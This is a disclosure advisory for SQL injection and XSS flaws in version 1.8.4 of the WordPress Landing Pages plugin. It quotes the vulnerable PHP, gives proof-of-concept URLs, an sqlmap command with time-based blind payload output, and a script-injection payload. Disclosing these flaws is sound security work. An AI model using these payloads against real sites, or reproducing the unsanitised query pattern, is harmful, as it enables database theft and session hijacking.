WordPress Plugin Landing Pages 1.8.4 - Multiple Vulnerabilities

# Title: Multiple vulnerabilities in WordPress plugin "WordPress Landing Pages"

# Author: Adrián M. F. - adrimf85[at]gmail[dot]com

# Date: 2015-05-25

# Vendor Homepage: https://wordpress.org/plugins/landing-pages/

# Active installs: 20,000+

# Vulnerable version: 1.8.4

# Fixed version: 1.8.5

# CVE: CVE-2015-4064, CVE-2015-4065 



 Vulnerabilities (2)

=====================



(1) Authenticated SQLi [CWE-89] (CVE-2015-4064)

-----------------------------------------------



* CODE:

modules/module.ab-testing.php:100

+++++++++++++++++++++++++++++++++++++++++

$wpdb->query("

    SELECT `meta_key`, `meta_value`

    FROM $wpdb->postmeta

    WHERE `post_id` = ".$_GET['post']."

");

+++++++++++++++++++++++++++++++++++++++++



* POC:

http://[domain]/wp-admin/post.php?post=306[SQLi]&action=edit&lp-variation-id=1&ab-action=delete-variation



SQLMap

+++++++++++++++++++++++++++++++++++++++++

./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/post.php?post=306&action=edit&lp-variation-id=0&ab-action=delete-variation" -p post

[............]

GET parameter 'post' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection points with a total of 86 HTTP(s) requests:

---

Parameter: post (GET)

   Type: AND/OR time-based blind

   Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

   Payload: post=306 AND (SELECT * FROM (SELECT(SLEEP(10)))sCKL)&action=edit&lp-variation-id=0&ab-action=delete-variation

---

[13:35:01] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 7.0 (wheezy)

web application technology: Apache 2.2.22, PHP 5.4.39

back-end DBMS: MySQL 5.0.12

+++++++++++++++++++++++++++++++++++++++++





(2) Authenticated XSS [CWE-79] (CVE-2015-4065)

----------------------------------------------



* CODE:

shared/shortcodes/inbound-shortcodes.php:761

+++++++++++++++++++++++++++++++++++++++++

<iframe src='<?php echo INBOUDNOW_SHARED_URLPATH . 'shortcodes/'; ?>preview.php?sc=&post=<?php echo $_GET['post']; ?>' width="285" scrollbar='true' frameborder="0" id="inbound-shortcodes-preview"></iframe>

+++++++++++++++++++++++++++++++++++++++++





* POC:

http://[domain]/wp-admin/post-new.php?post_type=inbound-forms&post='></iframe><script>alert(String.fromCharCode(88, 83, 83))</script>





 Timeline

==========

2015-05-09: Discovered vulnerability.

2015-05-20: Vendor notification.

2015-05-20: Vendor response.

2015-05-22: Vendor fix.

2015-05-25: Public disclosure.